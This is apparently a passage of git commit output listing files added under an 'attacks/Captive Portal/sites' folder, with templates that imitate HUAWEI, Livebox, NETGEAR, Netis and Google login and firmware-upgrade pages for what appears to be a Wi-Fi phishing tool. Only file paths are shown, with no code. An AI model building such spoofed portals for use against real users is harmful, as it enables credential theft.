Portal/sites/Google_de.portal/index.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/ayuda.htm create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/background.png create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/error.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/final.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/house.png create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/house1.png create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/index.htm create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/info.css create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/info.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_en.portal/info2.css create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/favicon.ico create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/js/script.asc create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/footer.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/footer_data/footer.asc create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/helpmain.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/leftblock.asc create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/logo.asc create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/logo.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/logo2.asc create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/logoback.asc create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/logout.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/midblock.asc create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/rightblock.asc create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/logo_data/stylemain.css create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu_data/adminmenu.js create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu_data/advance.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu_data/basic.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu_data/device.asc create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu_data/firstmenu.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu_data/info.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu_data/maintain.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu_data/menutree.js create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/menu_data/usermenu.js create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/tab.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/tab_data/clicktableft.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/tab_data/clicktabmid.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/tab_data/clicktabright.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/tab_data/inittableft.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/tab_data/inittabmid.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/tab_data/inittabright.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/tab_data/tabbar.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/upgrade.html create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/upgrade_data/sigh.gif create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/upgrade_data/style.css create mode 100644 attacks/Captive Portal/sites/HUAWEI_it.portal/router_files/upgrade_data/upgrade.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/array.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/button.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/contener.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/fonts.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/hardware.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/header.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/lbpopup.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/livebox.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/menu.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/page.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/progressbar.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/styles.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/css/subcontener.css create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/error.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/final.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/GET.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/GET.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/aide.jpg create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/indexedde.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_bottom.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_bottom_dbl.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_colsep.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_colsep2.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_colsep2_dbl.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_colsep_dbl.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_left_dbl.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_left_dbl2.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_right_dbl.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_right_dbl2.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_right_rowsep.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_rowsep.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_top.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_top_colsep.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_top_left.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/array/t2_top_right.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/button/poubelle-disable.jpg create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/button/poubelle.jpg create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/button/right-normal.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/contener/nosubnav_gradient.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/contener/nosubnav_left.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/contener/nosubnav_right.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/contener/subnav_bargrey.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/contener/subnav_left.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/contener/subnav_right.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/frames/border.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/frames/bottomleft.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/frames/bottomright.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/frames/topleft.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/frames/topright.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/hardware/GET.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/hardware/connection/wifi_enable.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/hardware/equ_bg_enable.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/hardware/indexedde.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/hardware/round_bg.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/hardware/vignette_disable.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/hardware/vignette_enable.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/header-logo-livebox.png create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/header/left_down.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/header/left_up.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/header/middle_down.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/header/middle_up.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/header/right_down.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/header/right_up.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/home/GET.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/home/indexedde.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/home/sep.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/indexedde.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/GET.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/arrowrightorange.png create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/arrowrightwhite.png create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/bottom.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/bottomleft.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/bottomright.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/collapse.png create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/expand.png create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/indexedde.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/left.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/leftsep.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/leftsepbig.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/right.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/rightsep.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/sep.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/sepbig.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/top.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/topleft.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/topright.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/menu/vide.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/1.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/GET.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/bt1.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/cccccc.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/indexedde.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/paramBD.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/paramBG.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/paramHD.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/paramHG.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/popupBL.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/popupBM.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/popupBR.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/popupBodyL.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/popupBodyR.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/popupM.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/popupTL.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/popup/popupTR.gif create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/progressbar/GET.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/progressbar/background.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/progressbar/foreground_left.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/progressbar/foreground_right.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/progressbar/indexedde.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/images/timezonemap.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/index.html create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/js/LBPopup.js create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/js/control.js create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/js/dragresize.js create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/js/md5.js create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/js/progressbar.js create mode 100644 attacks/Captive Portal/sites/Livebox_fr.portal/js/script.js create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/MNUAccess.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/button.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/help.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/jScrollPane.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/jquery.flexbox.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/jquery.jscrollpane.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/mainpage.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/menu.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/qos_tabs.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/scrollbar.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/standalone.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/table.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/table_noh.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/css/tabs.css create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/error.html create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/final.html create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/AP_Mode_R7000.png create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/Netgeargenie.png create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/NewNetgeargenie.png create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/ReadyShare.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/Wireless.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/add_icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/apply_icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/barrow.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/barrow.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/barrow_down.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/barrow_down_nobackground.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/barrow_nobackground.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/basic-black-button-large.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/basic-gray-button-large.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/basic-green-button.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/basic-purple-button-large.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/basic-purple-button.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/basic-white-button.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/box-header-background-large.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/box-header-background.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/cancel_icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/cover-image.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/cover-image_noh.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/edit_icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/error-icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/error.png create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/firmware-hint-background-long-long.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/firmware-hint-background-long.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/firmware-hint-background-short.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/firmware-hint-background.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/footer.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/footer_double.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/genie_copy_wifi_setup.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/genie_disable_wifi_setup.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/genie_download.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/genie_help_choose_1.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/genie_help_choose_4.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/genie_learn_more_ap.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/genie_learn_more_router.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/good-icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/gray-button.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/help-icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/helparrowdown-icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/helparrowup-icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/info.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/label.png create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/main-page-bottom-large.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/main-page-bottom.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/page-table-bottom-2.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/page-table-bottom.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/page-table-button-gray.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/page-table-button-large.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/page-table-button.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/page-table-icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/page-table-seperate.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/pvpn.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/qos-tab-active.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/qos-tab-active.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/qos-tab-hover.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/qos-tab-nonactive.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/qos-tab-nonactive.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/refresh-icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/remote_app.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundbottomleft_table.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundbottomright_table.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundedcornr_239763.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundedcornr_306126.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundedcornr_637010.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundedcornr_802784.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundedcornr_806183.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundleft_apply.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundleft_button.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundleft_grey.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundleft_update.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundright_apply.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundright_button.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundright_grey.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundright_update.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundtopleft_table.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/roundtopright_table.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/search-go.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/search_button.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/search_button_long.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/search_button_middle.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/sel_win7.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/subMenuActive.png create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/subMenuActiveLarge.png create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/subhead-bottom.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/subhead-top.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/subhead2-background.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/subhead2-background_noh.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/subhead2-bottom.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/subhead2-top.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/subhead2-top_noh.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/tab-active.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/tab-nonactive.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/tabs.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/title.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/wait.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/warning-icon.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/warning.png create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/img/warrow.jpg create mode 100644 attacks/Captive Portal/sites/NETGEAR-Login_en.portal/index.html create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/ayuda.htm create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/background.png create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/error.html create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/final.html create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/house.png create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/house1.png create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/index.htm create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/info.css create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/info.html create mode 100644 attacks/Captive Portal/sites/NETGEAR_en.portal/info2.css create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/ayuda.htm create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/background.png create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/error.html create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/final.html create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/house.png create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/house1.png create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/index.htm create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/info.css create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/info.html create mode 100644 attacks/Captive Portal/sites/NETGEAR_es.portal/info2.css create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/css/form.css create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/css/help.css create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/css/upg_upgrade.css create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/images/darkblue.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/images/favicon.ico create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/images/liteblue.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/images/menublue.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/images/redbull.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/images/settings_v6.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/images/spacer.gif create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/js/func.js create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/mnu_blank.htm create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/mnu_menu.htm create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/mnu_top.htm create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/upg_upgrade.htm create mode 100644 attacks/Captive Portal/sites/NETGEAR_it.portal/upg_upgrade_h.htm create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/css/netcore.css create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/css/update.css create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/css/welcome.css create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/back.gif create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/bg_leftmenu.gif create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/btn_mobile_setup.jpg create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/btn_quick_setup.jpg create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/del.gif create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/edit.gif create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/favicon.ico create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/help_b1.jpg create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/icon_jia.gif create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/icon_jian.gif create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/icon_no.gif create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/icon_now.gif create mode 100644 attacks/Captive 